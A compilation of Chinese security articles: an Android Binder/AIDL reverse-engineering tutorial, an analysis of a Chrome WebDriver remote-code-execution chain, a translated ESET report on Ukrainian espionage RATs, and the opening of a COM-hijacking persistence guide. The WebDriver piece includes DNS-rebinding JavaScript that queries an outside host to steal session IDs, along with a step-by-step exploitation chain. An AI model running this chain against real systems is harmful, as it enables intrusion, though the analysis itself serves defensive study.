public interface IFooService extends android.os.IInterface { /** Default implementation for IFooService. */ public static class Default implements com.evilpan.IFooService { // ... } /** Local-side IPC implementation stub class. */ public static abstract class Stub extends android.os.Binder implements com.evilpan.IFooService { // ... } public void sayHi() throws android.os.RemoteException; public int add(int lhs, int rhs) throws android.os.RemoteException; }
在这个文件的基础上，服务端和客户端分别构造远程通信的代码。
## Server
服务端要做两件事：
1. 实现AIDL生成的的接口
2. 创建对应的Service并暴露给调用者
实现接口主要是实现AIDL中的Stub类，如下：
package com.evilpan.server; import android.os.RemoteException; import android.util.Log; import com.evilpan.IFooService; public class IFooServiceImpl extends IFooService.Stub { public static String TAG = "pan_IFooServiceImpl"; @Override public void sayHi() throws RemoteException { Log.i(TAG, "Hi from server"); } @Override public int add(int lhs, int rhs) throws RemoteException { Log.i(TAG, "add from server"); return lhs + rhs; } }
客户端调用接口需要经过Service，因此我们还要创建对应的服务：
package com.evilpan.server; import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.util.Log; public class FooService extends Service { public static String TAG = "pan_FooService"; private IBinder mBinder; public FooService() { Log.i(TAG, "Service init"); mBinder = new IFooServiceImpl(); } @Override public IBinder onBind(Intent intent) { Log.i(TAG, "return IBinder Object"); return mBinder; } }
注意这个服务需要在`AndroidManifest.xml`中导出：
<service android:name=".FooService" android:enabled="true" android:exported="true"/>
这里的服务与常规服务不同， **不需要** 通过`startService`之类的操作去进行启动，而是让客户端去绑定并启动，因此也称为[Bound
Service](https://developer.android.com/guide/components/bound-services)。客户端绑定成功后拿到的`IBinder`对象(远程对象)就相当于上面`onBind`中返回的对象，客户端中操作本地对象可以实现远程调用的效果。
## Client
客户端在正常调用远程方法之前也需要做两件事：
1. 实现ServiceConnection接口
2. bindService
ServiceConnection接口主要是连接远程服务成功的异步回调，示例如下：
private ServiceConnection mConnection = new ServiceConnection() { @Override public void onServiceConnected(ComponentName name, IBinder service) { Log.i(TAG, "onServiceConnected"); mService = IFooService.Stub.asInterface(service); Log.i(TAG, "sayHi"); try { mService.sayHi(); Log.i(TAG, "add"); mService.add(3 , 4); } catch (RemoteException e) { e.printStackTrace(); } } @Override public void onServiceDisconnected(ComponentName name) { Log.i(TAG, "onServiceDisconnected"); }
连接成功时会获得一个`IBinder`对象，就是前面说的`IFooService.Stub`实现。我们可以直接通过asInterface将其转换为`IFooService`对象。
`bindService`方法用来将Activity绑定到目标Service上，第一个参数为目标Service的Intent，第二个参数为上面的ServiceConnection实例。
@Override protected void onStart() { super.onStart(); Log.i(TAG, "onStart"); Intent intent = new Intent(); String pName = "com.evilpan.server"; intent.setClassName(pName, pName + ".FooService"); boolean ret = bindService(intent, mConnection, Context.BIND_AUTO_CREATE); Log.i(TAG, "bindService: " + ret); }
注意这里的包名指定的是服务端的包名，并且类名是服务类而不是AIDL中的接口类。绑定成功后启动客户端进程，可看到ADB日志如下所示：
07-11 06:01:25.767 8492 8492 I pan_Client: onCreate 07-11 06:01:25.768 8492 8492 I pan_Client: onStart 07-11 06:01:25.769 8492 8492 I pan_Client: bindService: true 07-11 06:01:25.770 8451 8451 I pan_FooService: Service init 07-11 06:01:25.770 8451 8451 I pan_FooService: return IBinder Object 07-11 06:01:25.785 8492 8492 I pan_Client: onServiceConnected 07-11 06:01:25.785 8492 8492 I pan_Client: sayHi 07-11 06:01:25.785 8451 8463 I pan_IFooServiceImpl: Hi from server 07-11 06:01:25.786 8492 8492 I pan_Client: add 07-11 06:01:25.786 8451 8508 I pan_IFooServiceImpl: add from server
Server和Client示例文件可见附件。
## 其他
前面我们简单介绍了AIDL的使用，实际上AIDL支持丰富的数据类型，除了int、long、float、String这些常见类型外，还支持在进程间传递`对象`(Parcelable)，以及传递`函数`。在AIDL中定义对象如下：
package com.evilpan; parcelable Person { int age; String name; }
也可以在AIDL中只声明parcelable对象，并在Java文件中自己定义。
而函数也可以看做是一个类型进行传递，例如：
package com.evilpan; oneway interface IRemoteServiceCallback { void onAsyncResult(String result); }
可以把`IRemoteServiceCallback`当做一个类型，在其他的AIDL中使用：
package com.evilpan; import com.evilpan.IRemoteServiceCallback; interface IRemoteService { void registerCallback(IRemoteServiceCallback cb); }
这种模式可以让服务端去调用客户端实现的函数，通常用来返回一些异步的事件或者响应。
# Binder
通过上面的介绍我们知道AIDL实际上只是对boundService接口的一个抽象，而boundService的核心是有一个跨进程的IBinder接口(即上面onBind返回的对象)。实现这个接口有三种方式：
1. 拓展[Binder](https://developer.android.com/reference/android/os/Binder)类来实现接口
2. 使用[Messenger](https://developer.android.com/reference/android/os/Messenger)来创建服务的接口，实际上底层也是基于AIDL实现的
3. 直接使用AIDL
通常实现IPC用得更多的是Messenger，因为其接受的信息是在同一个线程中处理的；直接使用AIDL可能需要多线程的能力从而导致复杂性增加，因此不适合大部分应用。
但不管是AIDL还是Messenger，其本质都是使用了Binder。那么什么是Binder？简单来说Binder是Android系统中的进程间通信(IPC)框架。我们都知道Android是基于Linux内核构建的，而Linux中已经有了许多进程间通信的方法，如：
* 管道（半双工/全双工）
* 消息队列
* 信号量
* 共享存储
* socket
* …
理论上Binder可以基于上面的这些机制实现一套IPC的功能，但实际上Binder自己构建了新的进程间通信方法，这意味着其功能必须要侵入到Linux内核中。为满足商业公司需求而提交patch到Linux
upstream，所受到的阻力可想而知，为什么Google仍然坚持呢？[Brian
Swetland](https://lkml.org/lkml/2009/6/19/254)在Linux邮件组中指出，现有的Linux
IPC机制无法满足以下两个需求：
1. 通过内核将数据直接到目标地址空间的环形缓冲区，从而减少拷贝开销。
2. 对可在进程间共享和传递的远程代理对象的生命周期管理。
因此目前Binder在内核中实现为独立的驱动，即`/dev/binder`(后续还进行了细分，如hwbinder、vndbinder)。
除了Binder之外，Android还在Linux的基础上增加了一些其他驱动，比如`Ashmem`、`Low Memory
Killer`等，在内核的`drivers/[staging]/android`目录中。
从驱动的层面看，Binder的使用也很简单：使用`open(2)`系统调用打开`/dev/binder`，然后使用`ioctl(2)`系统调用进行数据传输。以前面的AIDL
IPC为例，其底层的实现如下图所示：
# 逆向分析
上面介绍了那么多，但本文不是Binder Internal的文章，不要忘记了我们的目的是逆向。从上面Binder
IPC的流程中可以看到一个很重要的特点，即Binder使用`transact`发送数据，并且在(另一个进程的)`onTransact`回调中接收数据。
大部分逆向工程的工作都是类似的，寻找一种经过编译器处理特定文件后的的模式，并在此基础上构建还原出原始的操作。比如，对于C语言的逆向是通过调用约定以及函数入口/出口对栈的分配/释放来判断函数的调用，对于C++则是通过对vtable的查找/偏移来判断虚函数的调用。
对于我们一开始的目标而言，就是需要分析出系统中存在的进程间调用，更准确地说是需要确定某个进程中函数的交叉引用(xref)。以AIDL为例，`.aidl`文件是不包含在release后的apk文件中的，不过我们还是可以通过生成文件的特征判断这是一个AIDL服务。从生成的代码上来看，主要有这些特点：
1. 服务端和客户端生成的接口文件是相同的
2. 生成的主类拓展`android.os.IInterface`，包含AIDL中所定义的函数声明
3. 主类中包含了自身的 **3个** 实现，分别是默认实现`Default`、本地实现`Stub`以及远程代理实现`Proxy`
一般而言，本地的实现(Stub)需要服务端继承并实现对应方法，Stub同时也拓展Binder类，并在`onTransact`方法中根据code来选择不同的函数进行处理。比如对于前面的例子，有：
public static abstract class Stub extends android.os.Binder implements com.evilpan.IFooService { public boolean onTransact(int code, android.os.Parcel data, android.os.Parcel reply, int flags) { // ... switch (code) { //... case TRANSACTION_sayHi: this.sayHi(); reply.writeNoException(); return true; case TRANSACTION_add: int _arg0 = data.readInt(); int _arg1 = data.readInt(); int _result = this.add(_arg0, _arg1); reply.writeNoException(); reply.writeInt(_result); return true; // ... } } }
Proxy即Client端的实现则通过指定transact的code来调用对应远程代码，如下：
private static class Proxy implements com.evilpan.IFooService { private android.os.IBinder mRemote; // ... public void sayHi() throws android.os.RemoteException { //... boolean _status = mRemote.transact(Stub.TRANSACTION_sayHi, _data, _reply, 0); //... } }
除了生成代码的特征，通常远程调用都会用到 Bound
Service，因此在服务端的`AndroidManifest.xml`文件中必然会有导出的服务声明，这也可以作为分析的一个辅助验证。
# 示例
假设我们正在逆向分析上面编译好的APK，在找到某个关键函数(比如add)后`Find
Usage`发现没有任何交叉引用，但实际上这个函数是被调用了的。那么这就有几种可能，比如这个函数是通过反射调用的，或者这个函数是在native代码中调用的。……当然这里实际上是父类中进行多态调用的，本质是Binder唤起的远程调用。
跨进程交叉引用的一个前提是需要知道是在哪个进程调用的。如果有权限在Server中进行调试或者代码注入，我们就可以在触发调用或者绑定时使用`Binder.getCallingUid()`函数获取调用者的UID，从而获取Client的包名。
单纯静态分析的话可以把系统中所有相关的进程pull下来，分别反编译后使用grep进行搜索。因为远程调用的接口是共享的，所以即便使用了proguard等混淆也不会影响到接口函数。
# 小结
本文主要是记录下最近遇到的一个Android智能设备的逆向，与以往单个APK不同，这类智能设备中通常以系统为整体，其中包含了多个业务部门内置或者安装的应用，在分析时发现许多应用间跳转和通信的场景。由于NDA的原因没有详细介绍，因此使用了我自己创建的Client/Server作为示例进行说明，但其中的方法都是类似的，即先从正向了解IPC的运行方式，然后通过代码特征去鉴别不同应用间的跳转。对于复杂的系统而言，先理清思路比头铁逆向也更为重要。
# 参考资料
* [BINDER TRANSACTIONS IN THE BOWELS OF THE LINUX KERNEL](https://www.synacktiv.com/posts/systems/binder-transactions-in-the-bowels-of-the-linux-kernel.html)
* [BINDER - ANALYSIS AND EXPLOITATION OF CVE-2020-0041](https://www.synacktiv.com/posts/exploit/binder-analysis-and-exploitation-of-cve-2020-0041.html)
* [Android Binder Framework](https://www.synacktiv.com/posts/exploit/binder-analysis-and-exploitation-of-cve-2020-0041.html)
* * * | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
时间：2021年4月16日**
4月12号，[@cursered](https://twitter.com/cursered
"@cursered")在starlabs上公开了一篇文章[《You Talking To
Me?》](https://starlabs.sg/blog/2021/04/you-talking-to-me/)，里面分享了关于Webdriver的一些机制以及安全问题，通过一串攻击链，成功实现了对Webdriver的RCE，我们就顺着文章的思路来一起看看~
# 什么是Webdriver？
WebDriver是W3C的一个标准，由Selenium主持。具体的协议标准可以从<http://code.google.com/p/selenium/wiki/JsonWireProtocol#Command_Reference>查看。
通俗的讲，WebDriver就是一个阉割版的浏览器，他提供了用于自动化控制浏览器的协议和接口。
你可以通过<https://chromedriver.chromium.org/downloads>来下载chrome版本的Webdriver，其中chrome还提供了headless模式以供没有桌面系统的服务器运行。
一般来说，Webdriver应用于爬虫等需要大范围Web请求扫描的场景，在安全领域，扫描器一般都需要通过selenium来控制webdriver完成前置扫描。在CTF当中，我们也能常常见到通过控制Webdriver来访问XSS挑战的XSS
Bot.
这里我借用一张原博的图来描述一下Webdriver是如何工作的。
在整个流程当中，Selenium端点通过向Webdriver端口相应的seesion接口发送请求控制webdriver，webdriver通过预定的调试接口以及相应的协议来和浏览器交互（如Chrome通过Chrome
DevTools Protocol来交互）。
由于不同的浏览器厂商都定义了自己的driver，因此不同的浏览器和driver之间使用的协议可能会有所不同。比如Chrome就是用hrome
DevTools Protocol。
当然，需要注意的是，这里提到的端口为启动webdriver时的默认端口，一般来说，我们通过selenium操作的Webdriver将会启动在随机端口上。
总之，在正常通过Selenium开启的webdriver的主机上，将会开放两个端口，一个是提供selenium操作webdriver的REST
API服务，一个则是通过某种协议操作浏览器的服务端口。
这里我们用一个普通的python3脚本来启动一个webdriver来确认这个结论。
#!/usr/bin/env python
# -*- coding:utf-8 -*- import selenium
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import WebDriverException
import os
chromedriver = "./chromedriver_win32.exe"
browser = webdriver.Chrome(executable_path=chromedriver)
url = "https://lorexxar.cn"
browser.get(url)
# browser.quit()
在脚本执行后显示的日志中的端口为CDP端口
通过查看进程其中命令可以确认webdriver的端口
# Chrome Webdriver 攻击与利用
在了解了Webdriver基础之后，我们一起来探讨一些整个流程中到底有什么样得安全隐患。
## 任意文件读？
如果对Chrome DevTools
Protocol有一些简单的了解的话，不难发现他本身提供了一些接口来允许你自动化的操作webdriver。通过访问/json/list可以获取到所有的浏览器实例接口。
通过这里的webSocketDebuggerUrl得到相应的接口路径，然后我们可以通过websocket来和这个接口进行交互实现CDP的所有功能。例如我们可以通过`Page.navigate`访问相应的url，包括file协议
甚至，我们可以通过`Runtime.evaluate`来执行任意js
如果你对CDP的api感兴趣，可以参考<https://chromedevtools.github.io/devtools-protocol/tot/Runtime/#method-evaluate>
但是问题也来了，我们如何才能从`http://127.0.0.1:<CDP
Port>/json/list`读取相应的webSocketDebuggerUrl
呢？至少我们没办法使用任何非0day来轻易的绕过同源策略的限制，那么我们就需要继续探索~
## 通过REST API来RCE
前面提到，selenuim需要通过Webdriver开放的REST
API来操作Webdriver。具体API可以参考[webdriver协议](https://www.w3.org/TR/webdriver/)或源码<https://source.chromium.org/chromium/chromium/src/+/master:chrome/test/chromedriver/server/http_handler.cc>。
这里我们主要关注几个接口
* `GET /sessions` 从这个端点我们可以获取到所有目前活跃webdriver 进程的session，并且获取相应的session id.
* `GET /session/{sessionid}/source`如果我们获取到Session id，那么我们就可以获取到对应session的各种数据，比如页面内容。
相应的api可以参考<https://www.w3.org/TR/webdriver/#endpoints>
* `POST /session` 通过POST数据我们可以发起一个新的会话，并且其中允许我们通过POST参数来配置新会话。
<https://www.w3.org/TR/webdriver/#dfn-new-sessions>
我们甚至可以直接通过设置新会话的bin路径来启动其他的应用程序
而相关的配置参数，我们可以直接参考selenium操作配置chrome的文档<https://chromedriver.chromium.org/capabilities>
这里我们可以展示通过post来启动其他应用程序。并且我们可以通过配置args来配置参数。（要注意的是这个api对json的校验非常严格，有任何不符合要求的请求都会报错）
看到这里，我们有了一个大胆的想法，我们是不是可以通过fetch来发送post请求，即便我们无法获取返回，我们也可以触发操作。
理想很丰满，可惜现实很骨感~
当我们从其他域发起请求时，js请求会自动带上Origin头以展示请求来源。服务端会检查来源，并返回`Host header or origin header
is specified and is not whitelisted or localhost.`
我们可以从chromium种相应的代码窥得相应的限制。
<https://source.chromium.org/chromium/chromium/src/+/master:chrome/test/chromedriver/server/http_server.cc;l=28>
到目前为止，我们仍然没有找到任何可以远程利用的方式，无论是通过webdriver的REST API 来执行命令，
这里我认为比较重要的是，这个校验来源是`std::string origin_header =
info.GetHeaderValue("origin");`，也就是说，是当发送请求头中带Origin时，才会导致这个校验，众所周知，只有当使用js发送POST请求时，才会自动带上这个头，换言之，这里的校验并不会影响我们发送GET请求。
跟着源码，我们可以大致总结这部分的校验内容
除开上半部分中关于POST请求的校验以外，下半部分的校验更加直白，只要`allow_remote`为假，就一定回进入判断，也就一定会经过`net::IsLocalhost`的校验，而这里的`allow_remote`默认为假，只有当开启allow-ips的时候才会为真。所以结论和原文相同。
* 如果chromedriver没有`--allowed-ips`参数
* 无论任何类型的请求HOST都需要经过`net::IsLocalhost`校验
* 如果带有Origin头，那么Origin头数据也需要经过`net::IsLocalhost`校验
* 如果chromedriver带有`--allowed-ips`参数
* GET请求不会检查HOST
* POST请求：
* 如果带有Origin头，那么Origin头数据需要经过`net::IsLocalhost`校验。
* 如果不带有Origin头，那么没有额外的校验。（如何用js完成没有Origin的post请求呢？）
* 如果HOST为ip:port格式，那么ip需要在whitelist中。
综合前面的所有条件，我们能比较清楚的弄明白，只有在开启`--allowed-ips`参数时，我们可以通过绑定域名来发起GET请求对应的API。否则我们就必须让HOST通过检查，但可惜的是，仅有ip和localhost能通过`net::IsLocalhost`校验。我们可以简单验证这一点。
那么问题来了，如果我们可以通过绑定域名来发送GET请求，那么是不是可以通过DNS Rebinding来读取页面内容呢？
## 配合DNS Rebinding来读取GET返回
我们这里通过模拟一次DNS重绑定来探测，这里用一段简单的代码来做check
var i = 0;
var sessionid;
function waitdata(){
fetch("http://r.d73ha3.ceye.io:22827/sessions", {
method: "GET",
mode: "no-cors"
}).then(res => res.json()).then(res => function () {
if(res.value){
sessionid = res.value[0].id;
}
}());
stopwait();
}
function stopwait(){
if(sessionid!=undefined){
console.log(sessionid);
clearInterval(t1);
}
}
t1 = setInterval('i +=1;console.log("wait dns rebinding...test "+i);waitdata()',1000);
可以看到经过63次请求，dns cache失效并成功获取到了127.0.0.1对应的seesionid。
## attack chain！
总结前后的几个利用点，我们现在可以尝试把他们串联起来。
* 受害者使用webdriver访问exp.com/a.html，a.html扫描127.0.0.1对应webdriver端口。
* 跳转到`exp.com:<webdriver port>`，开始执行JS+DNS Rebinding。
* 通过构造JS+DNS Rebinding，我们可以读取webdriver端口GET请求的返回，并通过`GET /sessions`获取对应Session的debug端口以及session id。
* 通过Session id，我们可以使用`GET /session/{sessionid}/source`获取对应窗口的页面内容。
* 通过Session对应的debug端口，我们可以使浏览器访问`http://127.0.0.1:<CDP Port>/json/list`，并且通过`GET /session/{sessionid}/source`获取返回对应浏览器窗口的webSocketDebuggerUrl。
* 通过webSocketDebuggerUrl与浏览器窗口会话交互，使用`Runtime.evaluate`方法执行JS代码。
* 构造JS代码`POST /session`执行命令。
这里借用原文当中的一张图片来展示整个exp利用过程。
# 写在最后
在前文中提到过，不同的浏览器会采用专属自己的浏览器协议，但其中差异比较大的是firefox和对应的Geckodriver，在Geckodriver上，firefox设计了一套与chrome逻辑差异比较大的调试协议，在原文中，作者使用了一个TCP连接拆分错误来完成相应的利用，并且在Firefox
87.0当中被修复。而safaridriver实现了更严格的host检查，导致DNS rebinding漏洞并不能生效。而包括chrome、MS Edge
和 Opera在内的浏览器仍然受到这个漏洞威胁。
但可惜的是，尽管这里我们通过实现一个很棒的利用链构造利用，但唯一的限制条件，`--allowed-ips`这个配置却非常的少见，在普遍通过Selenium来操作webdriver的场景中，一般的用户都只会配置Chrome的参数选项，而不是webdriver的参数，而且在官网中也明确提出`--allowed-ips`会导致可能的安全问题。
<https://chromedriver.chromium.org/security-considerations>
这个条件让整个漏洞利用变得苛刻起来，但也许在未来的某一天，Chrome的某个新功能就会重写这部分功能呢？这也说不好对吧~~
* * * | 社区文章 |
本文翻译自ESET研究白皮书《QUASAR, SOBAKEN AND VERMIN: A deeper look into an ongoing
espionage campaign》
<https://www.welivesecurity.com/wp-content/uploads/2018/07/ESET_Quasar_Sobaken_Vermin.pdf>
* * *
# 简介
网络犯罪分子使用远程访问工具Quasar、Sobaken、Vermin监听乌克兰的政府机构并从这些机构的系统中窃取数据。ESET在2018年1月发布的一份报告中提到这些威胁单元活动期是在2017年中，并且在持续开发新版本的恶意软件。
本白皮书中对这起正在进行的攻击活动进行了深度分析，并对用来入侵受害者系统的恶意软件和安装在受害者系统中的payload进行了分析，描述了攻击者用来传播恶意软件和反病毒软件检测的方法。
# 攻击活动
虽然威胁单元并没有什么高级的技能，也没有使用0 day漏洞，但成功地使用了社会工程技术来分发恶意软件，并且在很长一段时间内没有被检测到。
攻击者的活动最早可以追溯到2015年10月，但真实的活动时间可能更早。攻击者在攻击活动中使用了三种不同的.net恶意软件，分别是Quasar
RAT、Sobaken
（Quasar的变种）和Vermin（定制的RAT）。这三大恶意软件家族在同一时间对不同目标发起攻击，并共享一些基础设施，连接到C2服务器也是相同的。这其中的原因可能就是这些恶意软件是独立开发的。
# 受害者
恶意软件攻击的乌克兰政府机构如下图所示：
图1 受害者分布区域
ESET发现一共有上百个受害者分布于不同的组织机构里，而且与该攻击活动相关的可执行文件一共有上百个。
# 传播方法
研究发现，这三款恶意软件都使用Email作为主要的传播渠道。攻击者使用社会工程攻击诱使受害者下载并执行恶意软件。在大多数案例中，文件名都是乌克兰语的，而且都是与受害者职业相关的主体。
文件名示例：
• “ІНСТРУКЦІЯ з організації забезпечення військовослужбовців Збройних Сил
України та членів їхсімей” （关于乌克兰军队军事人员安全问题的指示）
• “новий проекту наказу, призначення перевірки вилучення” （关于查封证明书的新草案）
除了使用吸引受害者的邮件附件这种基本的社会工程技术外，攻击者还使用了三种特殊的技术方法进行恶意软件的传播。这三种特殊的方法应该是为了改善攻击活动的效率。
## 方法1
文件名中使用Unicode从右到左编码的Email附件会混淆真实的文件扩展名。而且这些文件还用Word、Excel、PowerPoint或Acrobat
Reader图标来让文件看起来更加可信。
文件名示例：
如图3所示，文件会被看作是一个.DOCX扩展到文件。
## 方法2
邮件附件伪装成RAR自解压文件。
示例：
如图4所示，在名为“Наказ_МОУ_Додатки_до_Iнструкцii_440_ост.rar”的邮件附件中，有一个名为“Наказ_МОУ_Додатки_до_Iнструкцii_440_ост.exe”的可执行文件，但是该文件的图标确是RAR
SFX。受害者可能就会运行该文件，等待其他文件被解压出来，但事实上恶意可执行文件就会运行了。
## 方法3
**Word文档加CVE-2017-0199漏洞利用**
CVE-2017-0199漏洞只有当受害者打开一个精心伪装过多word文档时才会触发。Word进程会对位于远程服务器的含有恶意脚本的HTA文件发出HTTP请求，然后mshta.exe
就会执行恶意脚本。该漏洞的首次公开时间是2017年4月，微软已经发布了所有Windows和office版本的安全更新。ESET研究人员称，攻击者是从2017年5月开始使用该方法的，使用的是hxxp://chip-tuning.lg[.]ua/ 来传播HTA文件和最终的payload。
# 安装和驻留
这三个恶意软件家族的安装过程是系统的。Drooper会释放恶意payload文件到Adobe、Intel、Microsoft等合法公司命名的子文件夹下的%APPDATA%文件夹中。然后会创建一个每隔10分钟运行payload的定时任务来确保驻留，如图5所示。
一些版本的恶意软件还会滥用Windows控制面板快捷方式来隐藏文件夹，这样window资源管理器中就看不到这样的文件夹里。
示例：
C:\Users\Admin\AppData\Roaming\Microsoft\Proof\Settings.{ED7BA470-8E54-465E-825C99712043E01C}\TransactionBroker32.exe
C:\Users\Admin\AppData\Roaming\Adobe\SLStore\Setting.{ED7BA470-8E54-465E-825C99712043E01C}\AdobeSLService.exe
# 受害者目标
攻击者使用了许多的技巧来确保恶意软件只运行在目标机器上，尤其是避免在自动分析系统和沙箱中运行。
## 方法1
恶意软件会检查是否有勒罗斯或乌克兰语的键盘布局。如果没有，就终止执行。
## 方法2： IP地址检查
恶意软件会通过请求合法服务ipinfo.io/json
来获取主机的IP地址。如果IP地址不在乌克兰或俄罗斯，或者IP地址属于某些反恶意软件服务商或云服务商，那么就中止执行。与这些检查相关的代码见图6和7。
## 方法3：模拟网络环境检查
自动化的分析系统经常使用Fakenet-NG这样的工具，根据DNS/HTTP通信返回结果。恶意软件开发者尝试通过生成随机的网站名/URL和测试到这些URL的连接来识别这样的自动化分析系统，如图8所示。
## 方法4：特定用户名检查
恶意软件会拒绝让自动化恶意软件分析系统使用的用户名账户运行，如图9所示。
# 用隐写绕过内容过滤
2017年中，攻击者开发出一种将payload隐藏在位于免费远程网站saveshot.net和ibb.co的图片中。隐写术是将数据隐藏在非机密数据中的技术。在本例中，恶意EXE文件会被加密并隐藏在有效的JPEG文件内，如图10所示。
恶意软件下载和加密JPEG文件后，会提取隐藏的数据，解密EXE文件，并启动运行。解密过程非常复杂，如下：
1. 从下载器二进制文件中硬编码的URL中下载JPEG文件；
2. 通过暴力破解8位密码的哈希，并与下载器二进制文件中的硬编码的哈希值进行对比。这一步骤非常消耗CPU，普通计算机需要10多分钟去计算。这也是应对自动化恶意软件分析系统的方式之一；
3. 处理JPEG文件并从中提取隐藏的数据，如图11和图12所示。恶意软件使用的算法与JSteg类似，JSteg是一种经典的隐写算法。这种经典的隐写算法非常容易实现，这也可能就是开发人员使用这种算法的原因。
4. 使用GZip提取数据并解压缩。
5. 用第2步获取的密码使用AES解密解压缩到数据。
6. 使用Base64算法解码解密的数据。
7. 将EXE文件写入硬盘并执行。
最后，恶意软件开发者放弃了这种隐写的想法，选择使用hxxp://chip-tuning.lg[.]ua 来服务未解密的恶意软件可执行文件。
# 恶意软件家族
攻击者在攻击活动中使用了三个不同类型的恶意软件，下面对这些恶意软件的一些特征进行描述：
## Quasar
Quasar是一款开源的RAT（Remote Access Tool，远程访问工具），研究人员发现很多的攻击活动都使用过Quasar
RAT。第一起攻击活动从2015年10月持续到2016年4月。第二起使用Quasar
RAT的攻击活动发生于2017年2月。2017年7到9月还发生一起使用Quasar RAT的攻击活动，攻击者使用一个旧版的Quasar RAT（xRAT
2.0 RELEASE3）。
## Sobaken
Sobaken是对Quasar RAT的一个修改版本。与Quasar的程序结构相比，
Sobaken的程序结构与之类似，如图13所示。恶意软件开发者持续移除一些功能，这样就创建了一个更小的可执行文件，也更容易隐藏。还添加了反沙箱和上面提到的其他避免检测到功能。
## Vermin
Vermin是一款定制的后门，只有这些攻击者使用，该后门2018年1月首次在Palo Alto
Networks的报告中出现，实际上从2016年中就开始活动了，并且现在还在使用中。和Quasar、Sobaken一样，Vermin也是用.NET编写的，为了避免被分析，开发者用商业级.NET代码保护系统.NET
Reactor和开源软件ConfuserEx对程序代码进行保护。
### 功能
Vermin是一款全特征的后门，有许多的可选组件。最新版本的Vermin支持下面的命令：
• StartCaptureScreen
• StopCaptureScreen
• ReadDirectory
• UploadFile
• DownloadFile
• CancelUploadFile
• CancelDownloadFile
• GetMonitors
• DeleteFiles
• ShellExec
• GetProcesses
• KillProcess
• CheckIfProcessIsRunning
• CheckIfTaskIsRunning
• RunKeyLogger
• CreateFolder
• RenameFolder
• DeleteFolder
• UpdateBot
• RenameFile
• ArchiveAndSplit
• StartAudioCapture
• StopAudioCapture
• SetMicVolume.
大多数的命令都是在主payload中实现的，还有许多命令和功能是通过攻击者上传到受害者机器上的可选组件实现的。这些可选组件有：
• Audio recorder
• Keylogger
• Password stealer
• USB file stealer
# 结论
在攻击乌克兰高价值资产的许多恶意软件攻击中，这些攻击者并没有得到太多的关注，因为他们在开发出自己的恶意软件Vermin之前，使用的是开源的恶意软件。
在过去的三年里，攻击者开发出多个恶意软件家族，并且使用了不同的感染机制，包括传统的社会工程攻击和不常见的隐写术。这应该是攻击者在测试不同的技术和恶意软件，很有可能是攻击者组织中的几个不同团队在独立开发。
攻击者在攻击过程中成功地使用了一些简单的技术，比如通过邮件发送RAR和EXE文件。这也说明在计算机网络防护中人的因素的重要性。 | 社区文章 |
# 滥用COM注册表结构：劫持及加载技术
|
##### 译文声明
本文是翻译文章，文章来源：bohops.com
原文地址：<https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
攻击者可以通过各种方式利用COM劫持技术实现隐蔽加载及本地持久化，典型的例子包括CLSID遗留（子）键的引用、CLISID覆盖以及链接等。
许多程序及实用工具都可以调用COM注册表载荷，比如`Rundll32.exe`、`Xwizard.exe`、`Verclsid.exe`、`Mmc.exe`以及`Task
Scheduler`（任务计划程序）。从传统角度来看，任何程序只要解析不存在且/或未引用的COM类，都有可能会受到“非预期的”加载攻击的影响（比如劫持攻击）。
劫持COM服务器程序（比如MMC）可以衍生出许多有趣的用例。攻击者可以使用`-Embedding`参数以隐藏方式打开GUI程序。
可以考虑使用一些防御手段，比如采用强大的应用白名单策略、监控脱离正常父进程（如`svchost.exe`）的某些命令行用法（如使用`-Embedding`）及注册表键值（如`TreatAs`、`ScriptletUrl`）的创建操作等。
## 二、背景介绍
前阶段我写了篇[文章](https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/)，介绍了滥用COM注册表结构的一些技巧。在上一篇文章中，我们讨论了一些有趣的技术，比如如何寻找被遗弃的注册表键值、COM劫持、横向渗透、规避防御机制、绕过应用白名单以及持久化技术等。在这篇文章中，我们将更进一步，重点关注其他一些劫持方法以及可用于规避的加载技术，主要内容包括：
1、COM劫持技术；
2、用于规避及持久化的CLSID加载技术；
3、滥用COM服务端：MMC（Microsoft Management Console）使用案例；
4、防御方法。
## 三、COM劫持技术
为了在没有注册的情况下加载和执行COM载荷，攻击者必须以一定的方式去影响COM注册表结构，其中一种方法就是使用COM劫持（COM
Hijacking）技术。关于COM劫持这个概念[Mitre ATT&CK
Framework](https://attack.mitre.org/)已经给出了非常准确的定义：
> COM（Microsoft Component Object
> Model，Microsoft组件对象模型）是Windows上的一个系统，可以通过操作系统实现软件组件之间的交互。攻击者可以使用该系统，通过劫持COM引用和关系在合法软件中插入恶意代码，达成持久化目标。劫持COM对象需要修改Windows注册表，替换某个合法系统组件的引用，该操作可能导致该组件无法正常执行。当系统组件通过正常系统调用执行时，攻击者的代码就会被执行。攻击者可能会劫持频繁使用的对象，以维持一定程度的持久化驻留，但不大会破坏系统内的常见功能，避免系统出现不稳定状态导致攻击行为被发现。
**以上参考[COM劫持（T1122）](https://attack.mitre.org/wiki/Technique/T1122)，Mitre
ATT&CK**
接下来我们重点介绍常见的一些COM劫持技术。
### 利用被遗弃的COM键
`InprocServer32`以及`LocalServer32`（此外还包括`InprocServer`和`LocalServer`）的键值（key-values）是COM服务器（即`DLL`、`CPL`、`EXE`以及`OCX`程序）的引用点。当攻击者[发现](https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/)（存在漏洞的）一个引用点后，就可以在适当条件下（比如路径可写时）将载荷投放到已被遗弃的PE（Portable
Executable）引用路径上。如果被调用时（比如加载器或者程序引用了COM键时），由于调用方会尝试实例化CLSID入口点下的COM对象，因此PE载荷就会得到加载机会。前一篇[文章](https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/)中我介绍了`VMware
vmnetbridge.dll`这个例子，这里再简单回顾一下。
在这个例子中，VMware
Workstation卸载程序会遗留下一些COM键（处于未注册状态）。运行一个探测脚本后，我们可以发现`LocalServer32`键指向了之前已被移除的一个DLL路径。攻击者可以简单替换这个文件，劫持COM节点结构，如下图所示：
图1. 被遗弃的COM键注册表路径
图2. 被遗弃的COM键文件路径
图3. 利用二进制引用替换法劫持被遗弃的键
### 覆盖COM键
